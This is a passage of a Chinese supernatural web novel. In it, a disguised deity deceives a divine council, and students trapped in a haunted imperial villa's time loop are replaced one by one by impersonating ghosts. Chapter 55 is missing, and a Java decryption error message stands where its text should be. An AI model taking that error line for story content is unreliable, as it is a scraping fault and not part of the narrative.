“很不理想,”江秉烛沉痛地说,“我在那里,先是遭遇了艾瑞斯和祂的手下,后来又遇到了意想不到的家伙,能活着回来,实属侥幸。” 听见艾瑞斯的名字,五颜六色的光团们先是一阵颤动,然后纷纷飞了过来,围着陆文泽打转。 他手上那枚戒指从进入密会前便烫得驚人,有种很强的能量漂浮在他身体周邊。如果是不知情的人看来,真的会把他当成一些强大的存在——即使他只是个普通的人類异能者。 “确实是那小子身边的人。” 半晌,一个红色光团给出判断。 陆文泽给看一愣一愣的。 他的密语水平并不好,也不敢听太多这些高位存在的交流。但从语气和动作上,他好歹能稍微判断出来,现在在发生什么。 面对这么多高位存在,他这个时候应该害怕的。但世上应该没有任何事,比至高神大人的身份更为震撼了。他现在还處在那种震驚中没缓过来,整个人都麻麻的。 一群光团围在陆文泽身边,又討论了些他听不懂的东西,然后依然是红色的光团转向江秉烛。 祂问:“那你说的,意想不到的家伙,又是谁?” 江秉烛先是扫了下四周,然后压低声音,像是怕什么惊天密辛被人窥破那样:“你记不记得……先知?” “先知?”红色光团沉默片刻,“已经很久没看到祂的行蹤了。” 好像有几百年,甚至更久,但已经记不清了。 在神战结束前,祂们这些神明的近侍都是你死我活的敌人。神战结束后,曾经的光与火之神登临至高。因为祂掌握了太多的權柄,就连祂手下的从神也可以一人代行多项權能,風光无限。 不过这其中……确实没有先知。 作为能够窥视时间之河的存在,先知曾经挺让人忌惮。几百年前,在祂失去行蹤后,才出现了阿德莱亚,接任祂的位置。 想到阿德莱亚,光团们又是一阵戒备——若不是因为祂,许多神明近侍的行踪都不会被至高神殿察觉,祂们也不用像现在这样,拼命地东躲西藏。 这样的存在,果然还是应该尽早赶尽杀绝。 光团们不约而同地想。 只是祂们仍不清楚,先知这次的现身,究竟意味着什么。这或许是一场更大的棋局,才需要那些人提前几百年进行布局。 尤其是,现在的至高神,似乎本来就对命运類的权柄十分看重。 而且,这件事的进行极为隐秘,如果不是被海潮意外发觉,恐怕祂们都还被蒙在鼓里。 一个耗时久远、而且筹谋缜密的局…… 一旦成功,谁也不知道将要发生什么。 祂们无法承担这样的风险,因此,这是必须要打破的。光团们达成共识。 江秉烛在旁边,恰到好处地补充了一句:“除了应有的召唤,我在那个人类位面,也感受到了你们所信奉的神明的气息。” 他还有八条金鱼没找回来呢。不过,他粗略估计了一下,事情进行得顺利的话,那八条鱼会自己游过来吧。 都不用他去找了,很方便。 五颜六色的光团们一顿,接下来,探討的程度变得更加激烈。 江秉烛偶尔插两句话,但更多的时候,脸上是一种罕见的凝重的表情。任谁看了,都知道他在参与一场关乎性命、关乎未来的重大决策。 这场讨论持续了很久、很久,才终于结束。 一个灰色的光团转向江秉烛:“你的情报很有价值,海潮。” 江秉烛笑了笑,手在胸前画出一个复杂的纹样:“为了共同的利益。” 对于祂们这些存在来说,共同的利益实在是一个很小众的词汇。 但是所有光团都在此时重复着同一句话,身前浮现出同样的、繁复的花纹。 那些花纹自祂们身前飘向空中,每一片都对在一起,组成了一个严丝合缝的、缓缓旋转的圆。 光团们注视着那个圆,直到确認上面的每一丝线条都完美相对,不曾有任何错位,才对江秉烛说:“你可以离开了。” 从进了这个空间里,陆文泽就一直晕晕乎乎的。听也不敢听,后来看也不敢看,知道这时候,才突然明白这些接近于神的存在在做什么。 ——祂们竟然又确認了一轮身份! 但江秉烛没表现出任何异样,他从始至终都没有说一句话来证明自己的身份,却完美地应对过了每一轮身份核查。 如果不是已经听到江秉烛亲口承认自己的身份,陆文泽简直觉得,他就是海潮本人! 密会结束,光团们都逐渐淡去,江秉烛也要转身离开。 “对了,”一个光团忽然想起什么似的,叫住他,“你说到先知,倒让我想起了另一个存在。” “祂之前在追捕的那个,不是被祂预言,有可能篡夺光与火之神神位的那个家伙,很久不曾出现了吧?” 曾经的光与火之神现在都成为至高了,先知的预言还遥遥无期呢。祂竟然好意思管自己叫先知! “大概吧,”江秉烛很无所谓地说。 “命运这东西……谁又说得准呢?” 第55章 JavaException: cn.hutool.crypto.CryptoException: BadPaddingException: pad block corrupted 第56章 在陆景明对于“非常时期”的着重提醒中, 飛机降落在京城。 按照原本的计划,他们應该在酒店安全地宅着,直到考核结束。 但一想到江秉燭这是第一次来京城, 不管是陆景明还是A班的学生, 都觉得只是宅着太可惜了,一定要带他好好逛逛,于是做足了严密的准备, 去了條人流量很高的知名小吃街。 他们的考虑周全, 准备也很充足, 只是不知道为什么,陆文泽的表情一直非常鬼畜。 “这家伙怎么成天臭着个脸,还是对小江有意见吗?”金祈安悄悄问黎双白。 黎双白搖了搖头,表示自己也不清楚:“他回陆家,不和我们同行,现在不会有太大问题。” 至于以后,他们只能多多提防。 听力很不错的陆文泽:“……” 他真想拜托A班这些人睁大眼睛看看。自己那个表情是有意见吗?那只能是震撼吧! 偏偏他的堂哥陆景明和A班学生这次也是一个想法,很没有兄弟情的把他打发回家, 跟着江秉燭与周夜阑去逛那條有不少美食的老街了。 用陆景明的话说,周顾问是个相当有品位的人,在吃这方面尤其如此。 对于这个评价, 江秉燭不得不同意。 江秉燭之前在京城时, 也与江家人一道吃过饭,整体的感官实在说不上好。但周夜阑选的这条小吃街味道确实不错,让他一改对京城美食荒漠的印象。 他和陆景明聊了聊, 得知最近一个月, 京城出现了家新的餐馆, 汇聚了人类世界的各大菜系。虽然主厨都名不见经传, 不知是从哪里出现的,但是凭借精湛的厨艺,也让无数人蜂拥而来,每天客流量爆满。 对于这个进展,江秉烛相当满意。打算有空的时候,就过去尝一尝。 他想着,从当前的餐馆里走出来。 老街两旁栽着成排的槐树,應该都有些年头。即使入了秋,槐树枝叶依旧繁茂,街两侧宽大的树冠交错在一起。暮色将至,江秉烛站在葱茏的树影下,晚风轻轻吹动他的发丝。 “如果在开槐花的季节来,或许你会更喜欢。”周夜阑和江秉烛并肩而行,“这里的人会收集槐花,蒸着吃,或者是炒鸡蛋。” 江秉烛问:“只能炒鸡蛋吗?” “那我换个做法,”周夜阑笑着说,“拿来和小黄鱼一起炒,怎么样?” 江秉烛赞许地点了点头,咬了掉了手里鱼型糖葫芦的尾巴。 那不知道周夜阑从哪买的,用山楂做成了金鱼的身子,橘子瓣做成金鱼的头和尾,外面再过上一层厚厚的糖浆和一层糯米纸。 虽然胖了点,但看着还挺可爱。 江秉烛又一口咬掉了金鱼的橘子脑袋。挺甜的。 种满槐树的小巷彎彎繞繞,两邊又是各色琳琅满目的小吃。 他们吃完晚饭后,花了一个多小时才从巷头走到巷尾。又走了一小段路后,他们的視线豁然开阔,正前方是一片波光粼粼的大湖,右手邊则是一座修气派、红牆碧瓦的院子,一看就知道不是什么普通的地方。 陆景明一拍脑袋:“我怎么给忘了,这邊儿就是幽帝行宫!” 江秉烛歪了歪头,看向他。 “京城嘛,原来有很多皇帝的。幽帝这个人看谥号就知道,壅遏不通、去礼遠众,是个相当烂的皇帝,所以也亡了国。”陆景明解释道,“这里是还在当亲王时住的宅子,后来他继承大统,就把亲王府改成了行宫,在这里干了不少荒唐事。” 陆景明没细说的是,幽帝在历史上,出了名的好美人,男的女的都行。他天天不上朝,就来行宫折腾自己那些后宫放不下的美人们。最后被一群妃子你一刀我一刀,大快人心地捅死在床榻上了。 这个荒淫无度的暴君死后,起义军冲入皇城,把他的皇宫都烧毁了。只是不知道为什么,这處行宫倒是留存了下来,现在成了二十四小时开放的参观景点。 江秉烛对于人类王朝的历史知识不太感兴趣,但是眼前红牆绿瓦的建筑风格他没有见过,倒是想多看看。 这里是个知名景点,夜游项目开放了很久,从没出过什么事。A班学生盘算了一下,觉得这是个安全的地方,又在京城中心,附近總有異能者巡逻,即便有问题,也能迅速處理。 听说幽帝行宫近几年开放了新的园区,他们也很感兴趣,当即买了票,要和江秉烛一起进去。 只是在行宫的检票口,他们遇到了些意料之外的人。 ——从别的地方赶来京城、参加考核的学生们。 A班学生认得其中的许多張面孔,都是在排行榜中榜上有名的異能者,有几名京城的学生陪在他们的队伍里,大概是應家族要求,提前与他们打好关系的。 江亦宁在人群中非常显眼,热情地给来客进行着讲解,他身邊站着许思恒和其它相熟的異能者们,被自然而然地簇拥在中心。 在江亦宁不遠处,站着一名女生。她留着一头利落而干练的短发,脸上表情冷冰冰的,显得有些不近人情。她身边也聚了许多人,但没有任何人敢靠得太近。 这是谭慧? A班学生一路上听到的关于她的不少传言,到这个时候,才有真正的实感。 谭慧确实不是他们印象里那个被人欺压、唯唯诺诺的样子了。这对她来说,是件再好不过的事。 只是……A班学生都记得她在水族馆出现诡異时,对那个疑似是教主的未知存在进行的祈祷。 就他们所知,教主很可能是在背后操纵许多诡异事件的罪魁祸首。因此,他们在为谭慧感到开心的同时,也不由得多了几分戒备。 正想着,谭慧似乎感应到了什么,转过身来,对着他们的方向灿烂一笑。 这表情出现在谭慧脸上,实在是太少见了。围着她的那些异能者先是一愣,紧接着纷纷转过头,顺着谭慧的目光去看,却只见到了一众A班的学生。 同为异能者,在A班几名学生同样榜上有名的情况下,他们都认得出彼此。却想不到为什么,一个月以来在京城崭露头角的谭慧会对他们展示出特别的关注与友善。 他们之前应该没什么交集,也没什么值得谭慧去示好的地方吧? 异能者们想不明白。 他们倒是在A班学生中,看到了一張格外好看的陌生面孔。可那个少年的异能极其低微,和普通人没差多少,谭慧總不能在对他笑吧! 他们百思不得其解,谭慧也丝毫没有解释的意思,一笑之后,就又恢复了冷冰冰的样子。 异能者们带着疑惑,和A班学生前后脚走进幽帝行宫。 —— 幽帝生前极其奢靡,一座行宫,也被他修建得无比宏大辉煌,几乎能比得上后面几朝里的皇宫了。 A班学生按着导览图在里面参观,半天还没走到行宫的主殿,反倒是随着夜色渐深,觉得越来越冷了。 时家尔打了个喷嚏后,直接把衣服拉链拉到最高。 “京城昼夜温差怎么比我们第二城大那么多?”他嘟囔着,“早上来的时候,我还觉得热呢。” 时家逸:“入秋以后,每天温度变化都大得很。何况行宫里树多,温度比外面再低一些,也是正常的。” 他的话有理有据,找不出什么问题。可黎双白却觉得有些不安,仰起头环視着四周。 行宫里种满了油松与圆柏,每一棵都长了几百上千年,要几人合围才能抱得过来。这些树的历史比几个王朝都要悠久,在白天的时候看,一定极为壮观,可是到了晚上,一棵棵树的影子投射到地上,被拉得瘦长而萧索。 晚风吹动树梢,松针在摩擦间发出“窸窸窣窣”的響声。不知怎么,就让人觉得……有点阴森。 黎双白的神经不知不觉地绷紧了,他总觉得那些树后面有什么东西在动,有什么东西潜伏着、尾随在他们身后。 可除了他们外,四周空无一人。就连和他们同时进来的京城学生们,也早就和他们分开了。 “唰、唰……” 树林里一阵传来物体移动的響声。 是什么东西在那里! 黎双白猛地扭过头,正要喊人攻击,却看见一只乌鸦扑棱着翅膀,从松树上飛了出来。它掠过他的头顶,飛向天空,还“嘎嘎”叫了两声,就像在嘲讽他过于敏感的神经一样。 ……原来,只是乌鸦吗? 黎双白仍然保持着那个戒备的姿势,注视着乌鸦飞走的方向。 今晚夜色很黑,一弯残月挂在天边,只有一点微弱的光,什么都照不透。 “双白,”身边的趙一清注意到他的动作,停下来,问,“你发现什么问题了吗?” “没有,”黎双白凝重地摇了摇头,“但我觉得有点不对劲。” 趙一清皱起眉思索着。其实他并没有感觉到异样,幽帝行宫毕竟是近千年前建的了,原来又是那个荒唐暴君豢养美人的地方。不管是美人的血、还是暴君的血,都曾经淌进过每一块青石板的缝隙之间。 从异能与诡气的角度来说,会觉得这里不适,也是挺正常的一件事。 但最终,趙一清还是决定相信黎双白的判断,叫所有人停了下来。 “虽然这里是京城,但最近发生了太多事,我们也不能掉以轻心。”赵一清说,“叫前面走得快的人回来,我们一起游览。” 他是A班最强的异能者,平常说话也很有威信。即使有的人已经领先大部队不少,也都听他的话,折回来了。 “大家都到齐了吧?”赵一清问。 “齐了齐了,不对……”吴柏刚应下来,忽然话音一顿,“小江呢?” “小江不是一直跟着你吗?” “我身边没有人啊,我喜欢自己逛园子的。”吴柏说,“我看见小江好像一直在时家兄弟旁边吧,他走你俩中间。” 时家尔:“我和我哥是站得远了点,可是中间肯定没有小江啊。他在的话,我们能不知道吗?” 时家逸点了点头:“我记得,他是和别人一起走的。” A班学生交换完信息,齐刷刷地沉默了。 江秉烛不在这里,不知道什么时候,就和大家失联了。 可他如果不在,那么他们在不同人身边看到的那个“江秉烛”……又是什么东西呢? 想到这里,所有人都不寒而栗起来。 “幸好你察觉到不对了,双白,”赵一清说,“我们现在去找……” 他话音未落,扭过头去。身边本来应该站着黎双白的地方,现在却空空如也。 黎双白也不见了! 可这一次,他又是什么时候消失的! 仅剩的A班学生们不由自主地站得更近了一些。 他们前面是仿佛亘古不变的红墙碧瓦,身后是郁郁葱葱、无边无际的松柏林,又有一只乌鸦从树林里飞出来,“嘎嘎”叫了两声。 他们忽然想起来,其实还有很多不对劲的地方。 比如这片过分大的园林,永远走不到、却一直出现在他们面前的那一堵宫墙。还有时不时就会在头顶响起的乌鸦的叫声。 它每次只叫两声,而且出现的间隔……似乎总是一致的。 “我们拉着手吧,或者用异能彼此连接,”金祈安说,“先保证不会再有人忽然失踪,再继续去找他们。” 赵一清点了点头,一柄虚幻的魔杖当即出现在他手中。 魔法的光辉亮起,具像化出几道绳索,系在彼此的手腕上。 他们向前摸索着,直到十分钟后,又有一只乌鸦飞到他们头顶,精准地叫了两声。 A班学生停下脚步。 “我们被困住了,”赵一清说,“这是一个循环。” 他们这些剩下的人,被困在循环里。可循环外面有什么、失踪的江秉烛和黎双白会遭遇什么,他们一无所知。 —— 江秉烛站在幽帝行宫的主殿前。 朱红的宫墙上,映着一道道宽袍广袖、头戴钗环的人影。他们步履匆匆、动作急切,像是在恐惧什么,也像在紧张地筹备着什么。 人类还是很会修建宫殿的嘛。和他们比起来,深渊的生物还是太没有创意了。 这个效果就挺不错的,江秉烛想。改一改,说不定能放到自己的神殿的花窗上。 当然,他也很喜欢这些宫殿的琉璃瓦和飞檐斗拱,只是这些和神殿的建筑风格不太吻合。不如在深渊再建一个,到时候换着住。 鱼能经常换个环境生活,肯定也会觉得开心的。 江秉烛一边想,一边主殿大门跨过高高的门槛,挥手驱散了缭绕在身边的一缕黑气。 这处行宫处处都和他心意,只有一点无伤大雅的小问题。 ——这里的主人,实在是太不好客了。 【作者有话说】 昨天晚上到现在身体不太舒服,不好意思又来晚了[爆哭] 第57章 幽帝行宮里, 風依然在吹。 A班学生的手表早就开始乱转,手机也一如既往的直接失去了信号。 因为一直在同一处空间里打转,他们已经放弃了在心底数秒计时。但他们听见, 头顶的乌鸦叫响起了十二次。 ——两个小时过去了, 他们仍然没有任何进展。 行宮主殿的红墙永远遥遥在望,他们从发现异样开始,便在尝试寻找出口, 可不论多么努力, 他们还是没有辦法到达那个地方。 对于这种现象, 老一辈人其实有个说法——“鬼打墙”。 幽帝行宮中,既有荒唐至死的亡国之君,又有那么多被无辜戕害的妃子。这里流过的血太多了,有太多存在可能成为怨鬼。 对于当前的情况,A班学生一筹莫展。他们甚至挺绝望的——在京城的最中心、这么多异能者在的地方、从未被曝出过詭异事件的知名景点,他们竟然还能遇上詭异事件! 这到底是怎么了! “有没有人能救一下我们的运气啊,”吴柏无语地吐槽道,“在詭异世界待了一年就算了, 好不容易从那鬼地方回来,现在倒好,这詭异事件频繁的, 我以为我还在那儿呢!” “我们已经足够幸运了。”赵一清沉声打断了他的抱怨, “我们活着从那里回来了,今年这么多大大小小的事件,涉及到的层次有的甚至不可直言, 但我们也都安全地脱身了。” “我们之前都能做到, 这一次, 也一定可以。” 他说完, 率先停下脚步:“大家都累了,先坐下休息。可以把现在得到的信息汇总一下,或許可以找到突破口。” 众人纷纷坐下,有人禁不住叹了口气:“如果黎哥还在就好了,他最细心,最擅长分析这种内容。” “现在说这些没有用,”赵一清道,“找到打破这片空间的方法,我们就能找回双白和小江。” “时家尔,”赵一清没有让悲伤的情绪继续蔓延,直接吩咐道,“除了灵瞳之外,你再放一些记录方位的梦魇。京城的古建筑大多讲究風水,帝王行宮尤其如此。方位中,或許藏着破局的关键。” “好。”时家尔爽快地应了下来,异能在他掌心流动,很快凝聚出了一只诡异生物。 但是…… 赵一清皱起眉:“你已经放出了足够多的灵瞳,现在我们更需要记录方位的生物。” “哦,抱歉抱歉,”时家尔挠了挠头,“顺手了,马上改。” 他再次动用异能,用噬梦模擬出新的诡异生物。 可出现在他掌心的,仍然是一只溜圓的、会四下转动的大眼珠子。 ——这是一只灵瞳。 因为消耗能量低、泛用性又高,从在幽帝行宫发现异样后,他们就在这么做了。 可灵瞳并不是时家尔唯一能模擬出的诡异生物。 虽然噬梦对于使用者对模拟对象的熟悉程度要求很高,但时家尔在诡异世界摸爬滚打了一年,又在一个月前接受过至高神殿的教导,他所能模拟出的诡异生物,早不止灵瞳一种。 赵一清心神一凛,不动声色地说:“是我想错了,你能放一些工蟻出来吗?” “工蟻”是一种在诡异世界非常常见的诡异生物,和普通蚂蚁几乎没有区别。 时家尔自己说过,他在最初练习噬梦时,就是用工蚁当的参照物。他对这种生物不能再熟悉了,而模拟工蚁需要的异能很少,绝对不存在因为异能消耗过多而做不到的情况。 时家尔似乎对赵一清的命令有点疑惑,推脱了几次后,才在他的強硬要求下选择动用异能。 随着异能的流动,在他的掌心,又一只圓型的灵瞳凝聚成型。 几乎是同一时间,一道附带光明术的闪电就从赵一清的魔杖尖端劈了下来! 吴柏等人还没反应过来,一直警惕着这邊的金祈安和时家逸就纷纷出手,时家逸高声道:“快攻击他,这不是我弟弟!” 各色异能不由分说地往那个“时家尔”身上招呼过去,树林间光影纷乱,尘土飛扬。 等四周安静下来时,“时家尔”的身影化作一缕青烟,随風消散得无影无踪。A班学生只能听见一阵飘渺的轻笑,那声音鬼气森森的,很空灵,又雌雄难辨。 赵一清与A班的其它学生面面相觑,谁都没有说话。 到现在,不用过多的解释,他们也已经清楚。 时家尔在不知不觉中,被这里的诡异生物替换了! 明明他们身上都有着异能维系的连接绳索,可对于时家尔的失踪,所有人一无所觉。 真正的时家尔不知道去了哪里,而那个代替他的存在不仅样子像他、行为像他,就连他的异能,都能用出一部分。 如果不是代替者只能模拟出灵瞳,哪怕是他的双胞胎哥哥时家逸,也无法真的断言,自己的弟弟在不知不觉间换了个人。 时家逸率先展示出自己异能中,自己还没有在幽帝行宫中使用过的、最难模仿的能力。 “这里的诡异生物能模仿我们在行宫中使用过的能力,我们最好先確认身份,再进行之后的行动。” 其他人都表示赞同。 异能者的能力一般不会向外界说得太清楚,A班的学生都是同班同学,彼此知根知底,能够通过剩下的能力辨别彼此。 但他们对于幽帝行宫的具体情况一无所知,这个鉴别方法能撐多久,也是一个问题。 正想着,一阵脚步声从身后傳来。 確认过身份的A班学生同时转过身去,手中异能蓄勢待发。 但对方听见他们的动静,也放慢了脚步。双方谨慎地迂回了半晌,终于借着微弱的月光看清了彼此的面容。 ——来的是京城的一行人。 许思恒和几名京城学生打头阵,譚慧和江亦宁这样的辅助系异能者在中间。 他们与A班学生终于看到对方,却都没有收起异能的架勢。 京城那邊,许思恒大声问:“那边的,我们是被困的异能者,你们有什么方法,证明自己的身份吗?” A班学生对视一眼,都心知肚明,京城的人也遇到了同样的事情。 因为不知道对方的状态,他们并没有率先说明自己的身份,怕能够模仿人类的诡异生物对自己有更深的了解。双方互相打着哑谜,直到头顶的乌鸦又叫了三声,才勉強确认,这里的都是原装异能者,暂且没有被替换的。 双方终于坐在一起,却没有任何安心的感觉。 因为他们不知道同伴什么时候会被替换、不知道怎样才能安全。而能够用来检验身份的手段是有限的,他们撐不了太久。 和赵一清一样,譚慧同样认为,走出这片园林的关键,在于风水与方位。 他们迅速交换了一下信息,派出合适的人手,对幽帝行宫进行了勘察。 很快,他们手绘出了一张地图,剔除掉那些重复的部分,得知了自己一直在徘徊的地点的全貌。 这里其实没有任何特殊的标志物,只有一排排栽种好的百年古木。 两批人马对着地图沉吟半天也没找到辦法,走投无路之际,譚慧像是倾听到了什么一样,忽然说:“线索就在树上。” 她的语气极为笃定,令京城与A班的学生为之一愣。 但譚慧没受任何影响,专心地从树木上寻找着信息。 红鬆、圆柏、红鬆…… 谭慧抿了抿嘴,京城的鬆柏种类很多,但是这片园林里,却只栽种着这两种。而且,排列还极为混乱。 但在幽帝行宫这样的皇家园林里,出现的任何东西必然都极为讲究,如果真有工匠敢胡乱种树,必然是要被暴君砍掉脑袋的。 树的排列有问题! 如果把松柏之一看作阳爻,而另一者看作阴爻,那么松柏交错所组成的……就是八卦! “是八卦!”谭慧语速飛快地说,“松柏各自代表着阴阳,组合在一起,就能指明一种卦象。在八卦的基础上,周文王又推演出六十四卦,不止能占方位,还能断世事、卜吉凶。里面或许有信息,能指引我们脱离鬼打墙!” 她对八卦并不了解,只知道一些皮毛。但京城中有人钻研过这些,听到谭慧的话,一刻也不敢耽搁,立刻开始分析。 江亦宁捧了那人两句,眼看危机将要解除,就没有再说话。 他将更多关注点放在了谭慧身上。 她一个不熟八卦的人,刚刚那么笃定线索藏在树中,表现出来非常像得到了什么提示。 对方一定很强大、又令谭慧非常信赖。 那会是什么存在呢? 江亦宁想起京城中流傳的那些关于谭慧的传言。如果她得到的提示来自于她所信仰的高位存在,那一切就说得通了。 但这让他有一种很微妙的感觉……拥有高位存在做外援的,不再只是自己一个人。他的优势似乎被削弱了,而谭慧向上爬的速度,也属实太快了一些。 江亦宁将自己的不安归结于危机感。毕竟,他和谭昭关系不错的时候,从来没关注过谭慧。 他想了想,又一次像先知教导过的那样,向正在复苏的光与火之神进行祈祷。 —— 幽帝行宫,主殿。 江秉烛推开尘封的大门,在走进主殿的同时,顺手回应了一些有趣的祈祷。 他漫步在殿中,欣赏着雅致的布局与辉煌的宝座屏风,正看得入神的时候,身后忽然有人叫他:“小江,小江!” 江秉烛挥了挥手,沉积在殿中的那张紫檀木宝座上的灰尘一扫而空。 他极为自然地坐了上去,撑着下巴,慢条斯理地抬起眼。看见黎双白正朝自己跑来,随着他的动作,月白色的头发在黯淡的月色中翻飞着。 “我都要担心死你了,幸好你在这里!”黎双白看见他,大大地松了口气,“来,快从那座位上下来,我找到出去的办法了,咱们这就离开!” 江秉烛没回答,好整以暇地打量着黎双白,甚至很不恭敬地支起了腿,把玩起桌上摆放的香炉。 幽帝把这里当成他的行宫,一应陈设也是按照皇帝的规格来的。他的宝座被摆在正殿很高的位置上,或许就是因为位置的缘故,江秉烛坐在那里,即便没有看向任何人,也显得像是一位久居高位的帝王。 黎双白见他不听,焦急地往上走:“小江,这里不是可以久待的地方。我通过回溯看见了,这里曾经发生过——” 他的动作很快,人已经要走到江秉烛近前,触碰到他的肩膀。 倏地,大殿中的烛火全部亮了起来,照亮了房梁上挂着的、黑暗中不曾被人注意到的一条条垂下的白绸。 “砰”的一声,穿堂风吹开了正殿的窗户。宽大的白绫在风中狂舞着,继而被染上了浓郁而阴沉的墨色。 可那颜色又与正常的黑色有所不同,似乎由夹杂着血一般的红色、又有波涛翻涌时深蓝。无数种颜色混在一起,如同经幡一般,飘扬在江秉烛身后。 刚才马上就要走上宝座的黎双白被一股无形的力量拽了下去,死死按在地上。他努力挣扎着,最终却只能勉强抬起头,带着震惊与愤怒看向江秉烛。 “小江,你做了什么?这个地方不对劲,我们快点离开!我是来帮你的!” “够了,”江秉烛有点意兴阑珊地说,“在我面前演这个,还是挺没意思的。” 随着他话音落下,那个“黎双白”微不可察地僵了一下,却仍然继续着自己的扮演。 它被按在地上,根本无法动弹,最终只能艰难地抬起头,注视着那道居高临下的身影。 摇曳的烛火映在少年猩红的眼瞳里,江秉烛坐在幽帝昔日的宝座上,嘴角渐渐扬起的,是比那个暴君更凉薄的笑。 “黎双白”顿时明白,这个表情意味着什么。 祂很无聊,并且要找些乐子。 第58章 “黎雙白”马上便意识到, 眼前的少年绝非人類。 在和他目光相接的那个瞬间,他甚至……想要臣服。 可是这怎么可能呢?这是他的宫殿,他徘徊了數千年的地方。他才是这里真正的帝王! “黎雙白”的身体匍匐在地上, 停下了一切挣扎, 然后渐渐瘪了下去。他所在的地方什么都不剩下,只有一件明黄色,上面绣着蟠龙纹的广袖宽袍。 凛冽的夜風吹动幽帝仅剩的衣冠, 空荡荡的袖管在風中摇晃。 这衣服的质感可比博物馆里陈列的, 看起来好多了。 江秉燭想着, 瞥了一眼身侧微微扭曲的空间,轻巧地抬起手。 一縷黑气还没来得及露出爪牙,便被他握在了掌心。 幽帝死去千年,早就归于一抔黃土。但他比普通人要幸运很多,既当过皇帝,又在诡气最丰富的京城。因此死前的巨大怨念停留在了行宫里,化作一縷千年不肯散去的冤魂。 冤魂本身是没有温度的,可被少年握在手里时, 幽帝却感觉到了一种渗入魂魄的冰冷。 ——这到底是个什么东西! 他做皇帝时生杀予夺,不曾对任何人、任何事有过讓步。哪怕到最后被妃子们聯手捅死,心里最多的也是愤怒与怨恨, 没有别的情绪。 可是在这个伪装成人類的少年眼前……他头一次生出了恐惧。 “你也觉得无聊啊, ”江秉燭看着手里的幽帝冤魂,想明白了他的行为逻辑,“你的游戏太没意思, 我倒是有一个不错的想法。” 这里这么多心怀执念的冤魂, 可以玩一个大型点的游戏呢。 幽帝:“??!” 游戏, 什么游戏?! 这个家伙到底在自顾自地说什么啊? 幽帝完全不明所以, 色厉内荏地大喝道:“你、你是怎么发现朕的?” 破绽真的很多的,江秉燭想。 幽帝显然阅读了黎雙白的記憶,能够模仿他的样貌与異能,可他并没有抓到这个人的核心。 以黎双白的谨慎,在这里见到自己,他不会大呼小叫地冲上来。当然,也不会那么急切地讓自己从椅子上下来——在神殿的时候,黎双白都没这么失态过。 “真正不想讓我坐在这里的人是你,”江秉烛语重心长地说,“伪装的时候,要隐藏好自己的情绪。这是最基本的事情,亡国皇帝。” “朕是大成天元圣武神英皇帝!你竟敢不敬朕!” 什么玩意儿,这么长一大串的? “行吧,”江秉烛宽容地点了点头,“亡国皇帝。” 然后,他就看见手里那缕冤魂像炸了一样,试图四处乱窜,对他进行攻击。 江秉烛对这个反應倒不意外。 大多數时候,他都不能理解人类的情绪,但在资料充足的情況下,人类的行为模式很好分析,他推断得出来人类遇到事情会有什么样的反應,盡管江秉烛对他们内在的行为逻辑并不全然明白。 盡管有一些时候,他们做出的事,也会出乎他的意料。 可这才是他们好玩的地方。 —— 另一边,A班与京城的学生们加快了手中的动作。 他们成功通过八卦的内容,找到了这片树林里能够代表“离开”的方位。虽然还没有离开这片鬼打墙,但已经从树下挖出了一个深埋在地底的盒子。 那个盒子相当小巧,周身圆润,几乎没有什么棱角。它的造型极其华美,即便埋在地下不知多少年,木制的盒身依然散发着一种挥之不去的清香。 哪怕是不懂行的人也能一眼看出,这个盒子本身就极其名贵,价值连城,更令人对盒子里面装着的东西浮想聯翩。 盒子本身似乎有什么机关,用寻常手段根本难以打开。学生们刚刚尝试了几种办法,便又发现了一名同伴被暗中替換,花了些时间才解决掉那个替換了人的存在。它离开时,依旧化作一阵青烟,很空洞地轻笑了两声。 这一次赵一清观察得更仔细,他隐隐从那个浅淡的影子中,看到了错落有致的钗环。 这个打扮……应该是后宫的嫔妃。 看那个盒子的款式,也像是后妃持有的东西。 赵一清皱了皱眉,叫过旁边的金祈安:“我觉得,我们现在的方向可能不太对。” “你的意思是?” 赵一清说:“我们现在所想的,是打开盒子,用里面的东西破局。可如果这个盒子本身,并不是让我们打开的呢?” 那些会替换他们同伴的存在似乎是后妃的冤魂,地下埋着的,也是他们的东西。 鬼打墙、后妃、价值连城的盒子……这中间有什么联系,是他们尚未察觉的。 他们交流时,有另一名眼蒙白绸,身穿道袍,打扮非常古朴的学生听见了,转向了赵一清两人。 这人叫司律,他天生不可视物,听力却好得異于常人。据说他能听得懂任何生物的话语,甚至能从风中捕捉到讯息。 “我也听到了那个冤魂的笑声,”司律说,“它的声音,让我想起一段野史。” 赵一清等着他的下文。司律对声音很敏感,在当前的情況下,他选择相信司律对声讯的解读。 “有成一代,幽帝荒淫无度,大兴土木,建了无数座奢华无比的行宫,用以安放那些他强夺来的美人。凡是进过他行宫的,几乎没有人能活着离开,只有一个例外。” “据说那位美人贫困潦倒,进行宫前年纪又轻,并不知道幽帝行宫吃人的真面目,只以为能混口饱饭吃,就踏进了龙潭虎穴。后来她发现了真相,凭借坚韧的心智与朋友的帮助逃出行宫,随身还带着一盒金银珠宝。几年后幽帝身死,大成覆灭,她便变卖了珠宝,过上了不错的生活,拿着那笔钱接济了许多和自己曾经一样贫苦的人。” 虽然开头非常黑暗,但结局还算美好。 这故事听起来确实野史,赵一清想,在那个年代,哪里会有这么幸运的事呢? “你说,她在出宫时,携带过一盒金银珠宝?”赵一清眼神微沉。 司律说:“或许,便是这个盒子。” “解开了,解开了!”与此同时,不远处传来一阵激动的呼声。 在不懈努力之下,虽然还不足以将盒子打开,但他们终于从盒身的镂刻里获得了一定信息,并将之复现了出来。 随之出现的……是一段記憶。 那是一幅很摇晃的画面。 —— 幽帝的行宫里,贫穷的女孩局促地坐在轿子中,偷摸摸掀起帘子向外看。 那天夜色很深,天上只挂着一弯残月,她看不清什么东西,只有夹道两侧一排排沉默的红松与圆柏,松针在也风里摩擦,发出萧索的声音。 行宫主殿朱红色的宫墙遥遥在望,她从未近距离见过样宏伟的建筑,一时看得有些痴了。她想,从此以后,自己頓頓都能吃上饱饭,过上不愁温饱的生活了。 一只老鸹的叫声突然在深夜中响起,喑哑嘲哳,让人起了一身鸡皮疙瘩。 她被吓了一跳,然后看见宫殿打开了一道不起眼的侧门,一队侍卫从主殿的方向出来,每一个人都看不清脸,弓着腰、低着头,步履匆匆地向前走。 他们的手里,抬着什么东西。 ——那是一张张白布和草席,它们随便地裹了两下,有的布料被血浸透了,软软地塌了下去,勾勒出肢体与躯干的轮廓。 女孩看见一支簪子从白布团中掉落下来——那是支做工很精美的、镶着蓝宝石的金簪。但它上面浸满了血迹,颜色深得发黑,像是锈一样。 她捂住嘴,尽量不让自己惊呼出声。 